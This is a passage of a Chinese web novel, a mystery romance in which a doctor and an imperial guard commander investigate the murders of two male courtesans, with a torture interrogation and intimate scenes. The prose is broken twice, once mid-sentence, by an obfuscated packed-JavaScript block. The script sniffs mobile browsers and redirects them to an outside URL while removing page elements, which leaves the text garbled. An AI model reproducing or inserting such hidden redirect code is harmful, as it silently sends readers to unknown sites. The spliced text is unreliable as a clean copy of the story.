风月之地常有各种官司,但像傲霜这样死状可怖的并不多见,早上报官之时,消息就不胫而走,想必整个胭脂巷都已经清楚了。 唇亡齿寒,大家不免都心里打鼓。 秦觅从怀中掏出药瓶,倒出一粒丸药塞进口中,缓声道:“莫急,这才不过半天工夫,不会这么快有眉目。” “我家公子惦记傲霜公子,特意派我出来打听。”宋喜忧心忡忡地说,“傲霜公子向来与人为善,不太可能跟人结仇,他又被孙老爷包了那么久,又不会跟谁抢人,到底谁会杀他?” 秦觅闻言轻笑了起来:“分析得头头是道,将来打算去官府谋差事?” “别取笑我啦。”少年不好意思地挠了挠头,不知道想到什么,接着脸色一变,“如果不是仇杀也不是情杀,那会不会是随手杀人?不会是看不惯我们这行当,杀鸡儆猴吧?” 出卖自己身体的人,就算平日里打扮得再光鲜,在旁人眼里也是下九流,不管是谁心中有了愤恨无法发泄,都有可能找他们来踩上一脚。 宋喜惆怅地说:“我们这样的贱命没人在乎,死了一个小倌而已,顺天府不见得会细查。不知道凶手还会不会再找别人开刀,这下大家可别想消停了。”顿了顿,又说,“就算凶手不再杀人,可这边出了这般命案,谁还会来光顾我们胭脂巷?!挣不着钱可都得喝西北风了!” “不能这么想,出了命案官府就得查到底,没理由放着不管,北镇抚司的大人们都来了,显然是看重的。”秦觅安抚道,“千万别胡思乱想,回去告诉你家公子,最近暑热难耐,趁机好好休养,别的不必担心。” 宋喜点点头,走了两步,又转头看他:“秦大夫,你以后不会都不来了吧?我家公子还想着跟你聊聊呢。” “当然不会,我休息两天就去看他。”秦觅笑容温和。 少年如释重负地松了口气:“那可太好了。” 目送他的身影离去,秦觅扶着胡同围墙,闭上眼睛缓了缓。 心脏很久没这么难受,怕是昨夜闹得太凶所致。 昨夜…… 一阵疾驰的马蹄声响起,他抬眼去看,见慕天知带着两个随从快马加鞭地离开了胭脂巷。 近一年来,自己时常望见的就是这样的背影,两人之间隔着天堑,唯有昨日,这个贵人从云端走下来,走到自己面前。 抱香公子千叮咛万嘱咐,让他一定去看簪花游街,华灯初上时,秦觅就挤在人群里围观盛景。 隔着喧闹的人山人海,他看见了街对面略显烦躁的慕天知。 远远觑着对方不下数次,这还是第一次看到此人掩饰不住面上的情绪,便下意识移动脚步跟了过去。 京城之内,院首游街这样的事要报备有司,免得有贼人浑水摸鱼,但曜京安防并不需要慕天知亲自出马,这人应是放心不下,特意跑来看一眼。 果然,眼看现场人声鼎沸,慕天知烦躁之情越发明显,好不容易忍到活动近尾声,就见他交代好手下,只身提前离去。 借着嘈杂声遮掩,秦觅悄悄尾随他去了一处酒馆,并坐在了露天座位的一角,点了壶清茶。 看着慕天知喝了两坛上好的玉都香、歪歪斜斜地站起来时,他壮着胆子迎了上去。 那一刻他并不确定慕天知会怎么对自己,也不知道自己将要怎么面对对方,只能随机应变。 刚把人扶住,他便确定,以自己的体力实在没办法把镇抚使大人送回北镇抚司,只能先带回家里。 谁知接下来的一切便开始失控。 秦觅没想到慕天知会吻下来,也没想到自己会回应他。 他对小烽哥哥是患难之交的生死情谊,与风月毫不相干,从没设想过会有这样的走向。 但他只是犹豫了一瞬,就决定回吻过去。 心思尚在迷茫,但身体已经感觉到了喜欢。 幸好自己是个郎中,虽没与人同床共枕过,但对床笫之事并不陌生。 希望昨夜小烽哥哥还算尽兴。 “小烽哥哥,我害怕……” 稚嫩的嗓音在黑暗中响起,秦觅又回到了那条没有尽头的地下巷道。 巷道里潮湿燥热,令人呼吸不畅,鼻端充满泥土和腐臭的味道,看不清的角落里或许隐藏着无数蛇虫鼠蚁,发出着窸窸窣窣的声音。 脚上的鞋子多处磨破,鞋底有一个大洞,被碎石硌着,痛得厉害。 耳边传来少年安抚的声音:“别怕,我牵着你的手呢,说不定出口就在前边。” “我们还能逃出去吗?” “一定能,你这么聪明,我这么强壮,我俩配合肯定所向披靡!” 漆黑的巷道走到了转弯处,突然间有急促的脚步传过来,伴随着一声尖叫,一具小孩模样的骷髅陡然面对面地砸向他们! “啊!” 秦觅猛地一抽,从梦里醒过来,额头一大片汗水,里衣也湿透了,心脏快如鼓擂,他连忙摸出药瓶吞了一颗药丸,软绵绵地躺在床上,急促地呼吸着。 中午从东篱院回来,随便买了个饼子果腹,又把昨夜弄得狼藉不堪的被褥洗了晾在院子里,就累得倒在床上,一觉睡到夜色浓稠,不知现下是什么时辰。 梦魇经年不散,实在太过折磨,何时才能彻底解脱? “说出来,我帮你解脱。” 北镇抚司的刑房中,四面墙上燃着明亮的火把,中间刑架上绑着一个遍体鳞伤的中年男人,他发髻散落,上身打着赤膊,皮肤上新旧伤痕摞在一起,能看出各种刑具的痕迹。 在他面前一丈之外,慕天知大马金刀地坐在一张官帽椅上,仍是白天穿的那身黑色公服曳撒,深邃的眉眼在火光下愈发显得桀骜狠辣,正应了他“苍发少阎罗”的名号。 他冷淡地望着刑架上的人,沉声道:“垂死挣扎对谁都没有好处,若是死不吐口,本官只能让你比死还难受。” 此人是吏部文选清吏司郎中,因参与党争被康淳帝勒令彻查,在诏狱已经关了七八天,什么有价值的事都不肯说。 慕天知无心接手东篱院的命案,也是为了把精力用在这个案子上。 他向康淳帝承诺,旬日内必定挖出其同党,眼看限期将至,必须得上点手段。 见这位史郎中垂着头一言不发,慕天知耐心告罄,冷声吩咐左右:“生火,烫酒,本官要跟史郎中烤着火,好好喝一杯!” 听闻这话,一直沉默得像死了似的史郎中骤然惊恐地抬头。 三伏天烤火本就是酷刑,等到被烤得遍体流油,再被灌下烧酒,五脏六腑都要被烫烂! 慕天知淡淡地看着他,不发一言。 此人并非善类,私下里卖官鬻爵、欺男霸女,作奸犯科的事没少干,这点酷刑都算便宜他了。 几个干活的校尉很快端来了炭盆,在刑架四周摆了一圈,保证史郎中周身都能被烤到。 炭火烧得正旺,很快整个刑房比室外还要热出许多,周围的校尉和一旁站着的窦坤都热得满头大汗,慕天知自己的额头上也冒出了豆大的汗珠,顺着鬓角徐徐往下淌,但他并没有离开。 下属又端来了解暑汤,给大家分发,沁凉的桂花绿豆汤下肚,多少能舒服一点。 慕天知默不作声地喝着冰镇绿豆汤,撩起眼皮观察着史郎中的状态。 空气中开始弥漫着皮肉烧焦的味道,史郎中像从水里捞出来那样浑身湿透,全身油光铮亮,胸口剧烈起伏,忍不住开始呻.吟,显然已经被烤得外焦里嫩。 “请史郎中喝酒!”慕天知道。 窦坤大声道:“是!” 他亲自上前,端过校尉准备好的烧酒,单手卡住史郎中的下巴,抬手就往对方嘴里灌。 “呃——噗!”史 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427042|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎中终于按捺不住,拼命地摇晃脑袋,把灌进嘴里的烧酒使劲儿往外吐,声嘶力竭地大喊,“我说!我说!大人饶命!” 慕天知冲窦坤一抬手,示意他退下,负手行至刑架前,微微扬起下巴:“郎中大人,若答应说了,可要说得干干净净清清楚楚明明白白,要是还有所保留,那就没意思了。” 已经几乎快要昏死过去的史郎中气若游丝地点头道:“我、我一定、知无不言……” 记录的事由手下去做,慕天知带着窦坤走出了刑房。 跟燃了炭盆的刑房一比,外边的三伏天都显得凉快许多。 “大人!小豆!你们在这儿!” 有个身着百户公服的女孩儿按着腰间佩刀,一溜小跑地冲到他们面前,先是对慕天知抱拳行礼,接着满脸兴奋地问:“听说东篱院那边出了个蹊跷案子,现在怎么样了?” “梅三水,办好你自己的差事就行,闲事莫理!”窦坤故意讨嫌地说。 她是慕天知一手组建的女子都衍卫其中一员,大名梅淼,年方二十,因着办事机灵,常被他带在身边,跟窦乾窦坤兄弟俩熟稔得很。 尤其窦坤和她,经常斗嘴得不亦乐乎,像两只叽叽喳喳的麻雀。 梅淼抬手拍了一下窦坤的肩膀,冲他一眨眼:“说什么怪话,大人的事就是我的事,怎么能是闲事?”她往慕天知身后瞧了瞧,好奇道,“大豆呢?” “大豆——呸!我哥有公务出去了,你找他?”窦坤道。 梅淼嘿嘿笑了笑:“就问问。”接着仰头憧憬地看着慕天知,“大人,那案子咱没拿过来吗?” “暂且让顺天府先查着。”慕天知负手向自己的办公邸走去,“小豆,晚饭时分那边不是过来汇报了吗?进展如何?” 窦坤立刻道:“仵作说,凶手勒死死者的手上应该有抓伤,差役们已经将东篱院所有人都排查了一遍,但没发现有伤的人,被扣押的那些宾客也都有不在场证人,都已经放他们回家了。” “傲霜这人,据说性子软弱,心地善良,从未与人结过仇,东篱院上下对他都是一片夸赞之声,暂时排除仇杀;他十八岁时也曾当选为院首,名噪一时,但近一年以来都只与富商孙昶往来,不曾见过别人,而孙昶近几日出门谈生意,并不在京城,也应当排除情杀;除此之外,傲霜的房间内财物未见有明显丢失,也暂时排除谋财害命。” 梅淼忍不住郁闷道:“这不是没有结果吗?忙活了一天就这?!还不如咱们亲自出手。” “咱们亲自出手也得从这些线索逐渐深入,这不叫没结果,这叫排除干扰因素。”慕天知缓声道。 梅淼又问:“那魄门里塞了碎银和珠宝怎么解释?总不能是给死者的殉葬吧?” “我觉得不是,如果是殉葬,口中并没有塞玉石啊。”窦坤接口道,“把人摆成那个姿势,又塞了这些东西进去,总感觉是在表达什么。” “哦?为什么会这么想?” 幽暗的房间里,烛火映出秦觅一张好奇的面孔。 这两天他调养得好了些,苍白的面孔有了血色,心中惦记着上次宋喜说的事,便寻了空来竹影阁看望对方口中所说的公子,小倌寒柯。 出了命案,胭脂巷这边肉眼可见地冷清了下来,南风馆的小倌和青楼的姑娘们人人自危,全都躲起来,连大门都不敢出。 宾客更是不敢来了,万一凶手也看他们不顺眼呢。 秦觅陪着寒柯闲聊,话题离不开这桩凶案。 侧倚在榻上的寒柯摇着手里的团扇冷笑:“小倌用身体的什么部位服侍客人,想必大多数人都知道,把用身体换来的金银塞进此处,是多么明显的嘲讽。” “如果是嘲讽,又为何把傲霜的尸身摆成婴儿酣睡的模样?”秦觅探究地问,“如果是我要嘲讽一个人,定会让他以最不堪的方式面对世人,具体到此案的受害者,可能会……” 思索片刻,他神情揶揄地开口:“将其脱掉衣服倒吊起来,亦或者毁去其男子器官,再加上魄门塞物,这样才算是清晰明确地表达了自己的观点,不是吗?” 5. 零零伍 秦觅话音刚落,在旁边听着的宋喜就忍不住哆嗦了一下。 这秦大夫平日里和蔼可亲,方才说话也是带着笑的,不知怎的被那烛光一照,那么好看的面孔无端多了些阴森之气。 “不至于吧?”少年喃喃地说,“如果素来无仇无怨,谁会对别人下这样的狠手?” 秦觅淡淡笑道:“人心隔肚皮,有些人表面看起来正正经经,可心里想得跟我们不一样。你对他笑,他以为你在嘲讽,你帮他忙,他反倒觉得你在看不起他,这样的阴暗想法日积月累,他就会觉得所有人都在针对他,恨意就像一张被缓慢拉满的弓,只需到某一刻,他的愤怒之箭就会射向任意一个无辜的人。” 这话说得凉薄,听得寒柯跟宋喜对视了一眼,两双眼里俱是惊惧。 “是我说多了。”秦觅连忙道,“这只是我的猜测,并不能作准,这世上还是好人多。” 宋喜连忙点头:“对对对,还是好人多——我去给二位取些解暑汤来。” 说罢飞快跑掉。 秦觅无奈地自嘲道:“被我吓跑了。” “是被傲霜的死吓的,他嘴上说是我紧张,实际上他比我害怕多了。”寒柯无奈道,“毕竟胭脂巷这些年都没出过人命案子,一来就来了个这么诡异的,大家心里都发毛。再说,我们跟傲霜那么熟,他出了事,我们心里都不好受。” 秦觅坐在桌边,倒了杯清茶递给他:“都想了些什么,跟我聊聊,说开了能好受些。” “真相伤人啊!越到这种时候,越明白自己的命有多贱。”寒柯接过茶,轻轻摇动手里的扇子叹道,“看我们这些曾经被选做院首的小倌,现在也是穿金戴银,遍身绫罗,人前人后都有人伺候,那些欢客须得一掷千金才能与我们见上一面,显得我们浑似那些高门里的贵人。可事实上,我们不过是别人手中的玩物,眼中的下贱胚子,让人恨不得除之而后快。” “我觉得自己整日就像活在谎言里,想活得真实些,却又不敢,幻梦被戳破之后,真实的生活未必是我能承受的。” 秦觅轻啜着自己手里那杯茶:“不是也想过赎身离开这儿吗?” “哪有那么简单,我和傲霜不一样,他手里到底是攥着些钱,还有孙老爷在身后撑着,我?看上去赚了不少,可转身就进了妈妈手里,没几个大字儿在我口袋。”寒柯冷笑,“她逼着我做红倌人,明里暗里说我年纪渐长,再不卖就卖不出价了,我不肯让她如愿,她就扣着我的钱。” “我除了唱曲儿弹琴什么都不会,离开胭脂巷,我还能干什么?少不得被人羞辱玩弄,若是没钱养活自己,又请不起保镖,岂不是任人宰割的命?比起外边的凶险,倒是竹影阁勉强算是个家。” 窗外隐隐又有雷声响起,仿佛从那天终于开闸下雨之后,老天爷就不再吝啬,打算再降些甘霖体恤世人。 寒柯看了眼划破天际的闪电,冷声道:“我就是你方才所说的那种人,别人对我好,都不过因为我是竹影阁还数得上的人物,他们心里没有一个看得起我的,我恨他们所有人!我恨不得让他们都死一次,都投生成我这样的贱骨头,尝尝被人凌辱的滋味!” 说得气愤了,忍不住坐起身来,狠狠把手里的团扇往地上一扔。 “公子,既然命不能选,又何必在意别人怎么看?”秦觅捡起地上的团扇,温声道,“整日里揣摩别人都在怎么看自己,这日子还过不过了?我倒觉得,别人对自己好,就先收下这份好,别人要对自己不好,那我们也不去理会他,大家相安无事最好。若是谁不开眼闹到面前来,那我们也没必要客气,不妨教教他们‘礼数’二字怎么写。” 寒柯无奈叹息:“人生哪有这么多快意的事。” “的确,就算是当今圣上也不能为所欲为,但小小快意恩仇一下,总有机会。”秦觅莞尔道,“自己把日子过好最重要。” 寒柯本就是突如其来一阵急火攻心,被他三言两语一点拨,现下瞬间就想明白了,重新拿起扇子,颇为轻松地挽了个花,咿咿呀呀地唱了起来:“生死不遂人愿,命运多留枉然,且看来生,重来一遍~” 秦觅轻笑着看着他唱曲儿,待他唱完,才又叮嘱道:“命案的事别往心里去,官府很快就能破案,抓住凶手就好了。” “嗯,不想了,傲霜虽死得惨,但未必不是一种解脱。”寒柯深深叹息,又笑了笑,“我也想开了,生死有命,担心也没用。” 见风雨欲来,秦觅便起身告辞,想趁着下雨之前回家。 “吱哟”一声,门开了,宋喜推门进来。 秦觅便打趣道:“你端的解暑汤呢?我说得口干舌燥都没等来。” “哎呀,方才一出去就被人支使得团团转,我就给忘了!”宋喜指了指门口站着的一个身形矮小的青年,对寒柯说,“公子,抱香公子让陈茂来跟你借琴。” 陈茂是东篱院的龟公,平日里供几个小倌差使,死去的傲霜也是其中之一。 不过傲霜出事那天,他正在照顾被摧残得不成样子的抱香公子,没顾得上看顾对方,现在也正在内疚自责。 见了秦觅,他连忙弯腰抱拳:“秦大夫。”接着面向寒柯解释,“我家公子的琴借给了傲霜,现在不便取回去用,他又烦得要命,想弹曲儿解解闷,让我来跟你借那把奔雷。” 东篱院和竹影阁挨得近,小倌们之间走得也近,同是天涯沦落人,彼此间视为兄弟,来往得颇为密切。 抱香公子名月临,才刚满十八,寒柯拿他当弟弟看,闻言立刻道:“我正没心思弹琴,叫宋喜给你拿去吧。” 陈茂连声道:“多谢公子。” 宋喜得了令,一溜小跑去取琴。 秦觅没走,看着陈茂低眉顺眼的样子,关心道:“你们可都还好?” “说好不好,说差也就那么回事。”陈茂垂眸道,“公子们都替傲霜难过,又担心自己的安危,不知道官府什么时候才能拿住真凶。” 秦觅安抚道:“别想太多。月临这两天好些了吗?” 那天听说出了人命,少年吓得脸色惨白,半天都没能说出话来。 按理说过了初夜,贾老爷总该有点表示,要么送礼,要么人来探望一下,身份摆在那儿,不该把人折腾完就算,但命案在前,没人会主动往前凑,估摸着两天没见人影了。 这要是传出去,抱香公子转眼就成了从枝头跌落到地上的花,“零落成泥碾作尘”,怕是要被人瞧不起。 陈茂叹了口气:“凑合吧,身上的伤好得快,但……不过现在这个情况,也不能强求什么。” “给他带个话,明天得空我去看他。”秦觅温声道,“给他带他爱吃的杏仁酥。” 宋喜抱了用布带裹好的琴过来递给陈茂,陈茂接过,冲秦觅鞠了个躬:“多谢秦大夫,公子肯定会高兴。” 从竹影阁出来,天就已经起了风,秦觅连忙往家跑,刚进家门,瓢泼大雨就落了下来,好端端的下午瞬间变得如同黑夜。 暴雨下到傍晚暂停了一会儿,到了晚上又继续下,没有要停的意思。 这倒是凉快了许多,秦觅擦洗过身体,早早上床休息。 雨夜里除了哗哗雨声,四周一片静谧,但竹影阁院中,缓缓走进一个黑影。 黑影穿着一身蓑衣,扬长而入,进了雕梁画栋的漂亮小楼。 后院一排平房中,大通铺上睡了一排人,窗户大开着,凉风夹杂着雨丝呼呼往里灌,被挤在靠窗位置的宋喜让灌进来雨滴泼了一脸,猛一激灵睁开了眼。 莫名地心脏狂跳不止。 与他相比,秦觅就睡得好多了,做了个无滋无味的梦,然后被外边突如其来的响声吵醒。 “咣”地一声,像是门被推开了。 他脑子还在迷糊,冷硬的声音就在耳边炸响:“秦秀才。” 秦觅猛地一睁眼,看到了一身黑色公服的慕天知,正站在窗边垂眸看着自己,面色冷峻,真真儿像个活阎王。 他下意识地拢了拢亵衣,确定胸口没有露出来才连忙起身:“大人何故突然到访?” 慕天知此刻目光只是落在他的眼睛上,冷淡道:“凌晨时分,竹影阁的寒柯被人杀害。” 说到这里特意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦觅却有些为难,拱手道:“不如我步行前往北镇抚司,各位放心,我不会跑的。” “不是担心你逃跑,是不想耽误时间。”窦坤促狭地说,“我们大人来都来了,难道还回去等你慢吞吞地上门?” 慕天知牵过自己的黑马隐夜,转头对秦觅道:“上来。” 秦觅连忙道:“这不合适,不如两位窦大人同乘,我单独骑一匹便是。” “你会骑马?”慕天知略有些揶揄地微微挑眉。 “君子六艺,略通一二。”秦觅表现出一副谦逊的模样。 窦坤却道:“那也不行,我和我哥这体格,同乘一匹肯定要把马压着,我可舍不得。秦秀才,你身材瘦削,我家大人的隐夜又足够强壮,你俩同乘倒是合适。镇抚使大人礼让读书人到这个程度已经十分难得,你就别再拿乔了吧?” 见慕天知冲自己往马背上一甩下巴,秦觅提议自己坐后边的想法也被堵了回去,乖乖拉着缰绳上了马,下一刻感觉身后有风掠过,一个结实的身躯笼在了自己的后背。 距离不远不近,但很难令人忽视。 尽管自己对慕天知的感情无关风月,但到底两人曾经有过那么一回事,亲密过后,再这样近距离地接触,心中总有些不自然。 看到对方绕在自己身前抓着缰绳的手,就会想到那夜的十指相扣;被这双有力的臂膀环着,就想到它们曾把自己稳稳托起;还有鬓边耳侧传来的似有似无的呼吸,更是把人带回耳鬓厮磨的那些场景。 秦觅喉结一晃,往前躲了躲。 “怎么?”身后的人发出质疑声,声音像贴着他的耳朵说的,“都曾那般亲密过了,还要装羞么?” “不是,天气太热,我身上有汗,怕大人闻着不爽。”秦觅偏头小声说。 他身上汗味并不重,被衣服上的檀香和药香遮掩得几乎毫无影踪,但这样混合在一起的气息却会让慕天知微微有片刻失神。 好在无人发觉。 慕天知冷笑一声,在他耳边低声道:“秦秀才,莫装相,进了我北镇抚司,希望你谨言慎行。” “你明知道我是无辜的,还亲自来拿我,难道不是有意针对?”秦觅故意委屈巴巴地说,“少阎罗对我大刑伺候,我这么怕疼,不管自己做没做,肯定要被你屈打成招的。” 6. 零零陆 怕疼? 慕天知回想起那火热的一夜,不觉得秦觅是怕疼的人。 恰恰相反,他好像更喜欢自我折磨,有时候像是不想要这条小命似的。 “不想被用刑,那就从实招来,最好别有所隐瞒。”慕天知低声道。 虽是清晨,天气依旧炎热,昨夜下的雨并没将热气驱散多少,反倒增加了不少潮气。 两人这般前后依偎着骑在同一匹马上,还要注意不能贴得太近,秦觅实在不怎么舒服。 嘴上说不想耽误时间,但慕天知并没有让马跑起来,而是缓步慢行,这样一来,坐在前边的他更觉得像是一种酷刑。 “我可以知无不言言无不尽,也要大人肯相信才好。”被嘲讽了几次之后,他也心生不爽,决定以牙还牙,“明明差人来捉我便可,大人非要亲自跑一趟,岂不是折煞小生?还要将我这样带回去,莫非是做过露水夫妻,便对我有了些许独占欲?大人已经生出了私情,断案如何做到公允?我看还是把案子还给顺天府吧。” 见他一反之前的气定神闲,变得气急败坏,慕天知莫名心情大好,突然间收紧了拉着缰绳的双手,将人环得紧了些。 他的鼻尖轻轻蹭过秦觅的耳廓,轻声道:“顺天府巴不得把这烫手的山芋扔给我,没人会在意一个凶嫌怎么想。秦秀才,你现在落到我手里了,劝你还是老实些。” “他们在聊什么啊?” 骑马同样缓行在前方的梅淼回头看了看落在最后的慕天知和秦觅,发现自家大人露出了少见的笑意。 那笑容略显促狭,仿佛很是得意,又不知道他在得意什么。 大人亲自出马捉拿凶嫌并不奇怪,奇怪的是抓了人却还同乘一骑,身形比人家大一圈,这么看上去简直像是把人亲亲热热地搂在怀里。 看那秦秀才面露不耐——所以这是什么新的审讯手法吗? 窦乾骑马到她身侧,制止她的频频回望:“想必是案子的事。” “肯定是案子的事啦!咱们世子心里只有查案。”窦坤跟过去,和他俩并排,一副什么都懂的派头,“世子这么做表面上是亲昵,实际上是给那个秦秀才压力,谁被我们少阎罗这么圈着不害怕?那秦秀才我们上次就见过,是个巧言善辩的,世子这么做肯定是为了敲打敲打他,让他老实一些。” 窦乾略有些疑惑:“是这样吗?” “我觉得小豆猜得有道理。”梅淼悄悄回头快速看了一眼,对上自家大人甩过来的王之睥睨,立刻转回头,“好吓人,秦秀才肯定腿软了。” 秦秀才倒是没软,他挺硬的,现在整个人浑身上下硬邦邦有如一块铁板,不太想跟慕天知有什么肢体接触,绷得后腰发酸。 他当然猜出对方是在有意拿捏自己,自己也应当云淡风轻不被对方拿捏了去,可是同乘一匹马,上下颠簸起伏,后背胸膛免不了撞在一起,无端多了些狎昵的意味。 秦觅不为那夜而羞赧,但光天化日的,他也没办法处之泰然。 没办法,读书人要脸。 好在周围虽然不少行人,但大家都看得出是北镇抚司办案,没人敢好奇张望。 只是可恶的慕天知应该是觉察出他的不自在,还有点步步紧逼的意思。 呼吸喷在他的后颈和耳后,害他紧张得很快冒了汗。 心脏又动得快了些,舌根隐隐有些发苦。 看着他鬓边缓缓流下的汗渍,慕天知轻笑:“秦秀才怎么不似那天那般淡然了?” “那天还被以礼相待,今天是被镇抚使大人亲自抓进北镇抚司,听闻诏狱连亲王都审得,我一介平民觉得害怕,难道不正常么?”秦觅泄愤地拧住了他的手背。 慕天知像是不觉得痛,拽着缰绳的手几乎没动:“大热的天,秦秀才的手指还这么凉,莫非真的有什么隐疾?” “我是否真的有隐疾,这两天北镇抚司不应该查清了么?” “秦秀才太高看自己,你还不值得本官去查。” “现在既成凶嫌,不就值得了?” “本官自有本官的办案流程,秦秀才切勿越俎代庖。” 秦觅不想再跟他斗嘴,微微偏过头问道:“寒柯到底怎么死的?谁指证我是凶嫌?” 慕天知莞尔一笑:“上次你说可助我破案,这点小关窍都想不明白?” 身前的人便不吭声了,微微垂着头,几乎能听见他脑子飞速转动的声音。 修长后颈的骨头微微凸起,在阳光下看得到一层细小绒毛,白皙的颈子上渗出了亮晶晶的汗液。 天上仿佛掉下一小簇火苗,直烧到了心里。 慕天知喉结上下一滚,面无表情地直视前方。 他们在曜京穿街过巷,从外城进了内城,抵达了北镇抚司衙门。 “我知道了!”秦觅猛地一拍慕天知握着缰绳的手,整个身体扭过去,看着他的眼睛,“指证我的是不是竹影阁的宋喜?寒柯的死状,是不是被人倒吊在树上,衣服被脱光,但魄门依旧被塞了金银珠宝,因此被判定是同一凶手所为?!” 那天宋喜对自己这段话惊悚无比,想必是记在心里了。 而傲霜死的那天自己在现场,又是最后一个见过寒柯的人,好巧不巧还预言了那死状,被当做嫌疑人也不奇怪。 慕天知依旧不置可否,只是仰头用眼睛指了指头上的匾额:“到了,进去说。” 秦觅知道自己显然是猜中了,被压制了一路,现在陡然扬眉吐气。 他有一些放肆,不等身后的人先下马,便向后靠在那宽阔的胸口,跨在另一侧的右腿抬起来一撩,整个人转到了马的左侧。 接着他故意微微一仰头,嘴唇从慕天知的下颌处似有似无地掠过,沾到了些潮湿的汗液,随即立刻滑下马去,稳稳站在地上,挺直腰背,单手负在身后,转头挑衅地看着对方。 心脏怦怦直跳。 手在背后不自觉地握成了拳头。 又有些孟浪了,但是小烽哥哥故意欺负人,自己也要戏弄他一把。 慕天知看他傲然的模样,觉得好像在看一只自以为凶狠的小兽,忍不住轻笑一声,从马上跳下去,把缰绳丢给冲过来接马的卫兵,五指并拢向前一伸:“秦秀才,请。” 不知道是天气突然转阴,还是北镇抚司天然阴气逼人,站在这大门口,秦觅方才那点快意一下子消失殆尽。 自己应当没被真的当做杀人凶嫌,可傲霜和寒柯两人却实实在在没了性命。 他们生前一直想要的尊重,死后也没能获得,怎能让人不觉得唏嘘。 “你既然学了医术,转做郎中,为何不在别处行医,却偏偏混迹于胭脂巷这种风月之地?” 一间还算明亮的刑房中,秦觅坐于桌后,看着向他发问的慕天知。 旁边有书记官提着笔匆匆在册子上跟着记录。 或许是知道他不是真凶,又有功名在身,这审讯也算是以礼相待,不仅可以坐,还给上了茶。 但秦觅无心喝茶,微微蹙眉:“大人,我觉得先从寒柯的死法入手更合适,明明是同一凶手,为何改了作案方式?寒柯他是否也是被勒死——” “秦秀才,现在是我审你。”慕天知冷淡道,“希望你照实回答。” 秦觅抿了抿唇,按下心中不耐,同样冷淡回复:“没什么特别原因,在哪里行医都是救人,在这里有何不可?” 慕天知沉默地看着他,片刻没有作声。 此处很安静,能清晰地听到外边别的刑房传来的拷打之声,有鞭子的响声,有烙铁印在皮肤上的滋滋声,更多的,是受刑之人凄厉的哭喊声。 好似百鬼夜哭。 与外边阳光灿烂的天地相比,这里仿佛是一片被隔绝于外的炼狱。 这让秦觅再度想起了惨死的傲霜和寒柯两人。 罢了,没什么比尽快勘破此案更重要。 “我不是什么名医,治不了疑难杂症,更多时候觉得,人心里的病比身体上的病更千奇百怪些,我对这个更感兴趣。”秦觅收起了方才冷淡又置气的模样,整个人变得坦然很多,讲述也娓娓道来,言辞恳切,态度真诚,“是以我喜欢待在鱼龙混杂的地方,跟各色各样的人打交道,了解他们的所思所想。” “胭脂巷这边什么人都有,大家生活不易,难免偶尔会犯些情志病(注),我虽医术普通,但喜欢跟人聊天,便留在这边多于他们往来,偶尔聊上几句,如果能为他们分忧那是再好不过。” 秦觅看着面前的慕天知,缓声道:“其实不仅南风馆,我跟巷子里其他人也都相熟,大人只要打听一下就会知道。” “所以,傲霜死 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“对。”秦觅笃定地说,“我认为,凶手选择暴雨天动手,不仅是为了掩人耳目,他是想用大雨来洗涤傲霜在他看来肮脏的身体,我甚至觉得,盖着尸体的白布,是在傲霜死后被雨水冲刷过一段时间之后才盖上,只可惜这很难证明。” “非也。”慕天知突然道。 秦觅意外:“难道仵作有什么发现?” 本以为对方依旧会对他三缄其口,谁知慕天知微微颔首,轻启薄唇:“仵作在傲霜的唇中发现了树叶嫩芽,腋下及耻.毛中也有树上被雨打落的细小叶片,这些并未沾染泥土。外边盖着的白布尽管湿透,却并无叶片叶芽,说明白布被盖上之时,风雨之势已经减缓。” “果真如此……”秦觅喃喃道。 “但这个推断太弱,我们需要更有力的证据。”慕天知以指节轻轻叩击桌面:“秦秀才,请继续。” “除此之外,把人摆成婴儿酣睡状,我觉得凶手是希望傲霜能够回到母体,重新投胎,应当是愿他来世能摆脱苦命的枷锁,托生为一个堂堂正正的人,同时也希望他能够安息。”秦觅叹息道,“再加上傲霜尸身完好,只有颈间勒痕是致命伤,说明凶手下手干脆,没有让他多遭罪,我觉得凶手至少对傲霜有一定的感情,绝非心狠手辣。” “哦?白布下尸身是何模样,秦秀才也知道?”慕天知揶揄道。 秦觅倒是坦然地抬头看他:“我早说过,我是第一个看见尸体的人。那天陪月临聊到他睡着,正好雨过天晴,天也亮了,我站在月临床前向下一望,就看见了被白布盖着的尸身,随后我便下去查看了一番,才叫东篱院的护院去报了官。” 他强调道:“大人去过东篱院,应该知道月临房间窗户的朝向和抛尸地的距离,可以证明我所言不虚。” 慕天知腹诽,也就是现在侦查手段不发达,现场被破坏了影响不算特别大,不然还不知道要被你污染多少证据。 “如果是这样,又为何在他魄门里塞入金银珠宝?我不认为这是随葬的仪式,这就是侮辱。”他提出疑问,“这个手法,难道不跟你先前所说的行为动机相悖?” 秦觅轻笑了一声,双臂放在桌上,向前探身,仔细地盯着慕天知,低声道:“大人,对人又爱又恨,这种复杂的感情你很难理解吗?你有没有爱一个人爱得无力自拔,却又因为某种原因对他恨得牙痒痒,恨不得除之而后快?” 在一旁记录的书记官看着他那双促狭又含着笑意的眼睛,觉得他故意低沉下来的声音好似有一种奇怪的蛊惑力,只把自己带进他所形容的那种语境里,刹那间像是体会了一点“又爱又恨”这种极端拉扯的情感。 但慕天知并不为所动,伸手把茶杯往秦觅面前推了推:“喝口水吧秦秀才,嘴都说起皮了。” “如果寒柯的死状与傲霜不完全一致,又恰巧同我那天的假设相似,说明这个凶手对傲霜和寒柯的态度完全不同。我一个偶尔去陪他们聊天的郎中,对他们俩一视同仁,没有任何区别。”秦觅握住茶杯,静静地看着他,“现在还觉得我是凶嫌吗?” 慕天知勾了勾唇:“本官从未亲口说过你是凶嫌,不过是带你来问话而已。” 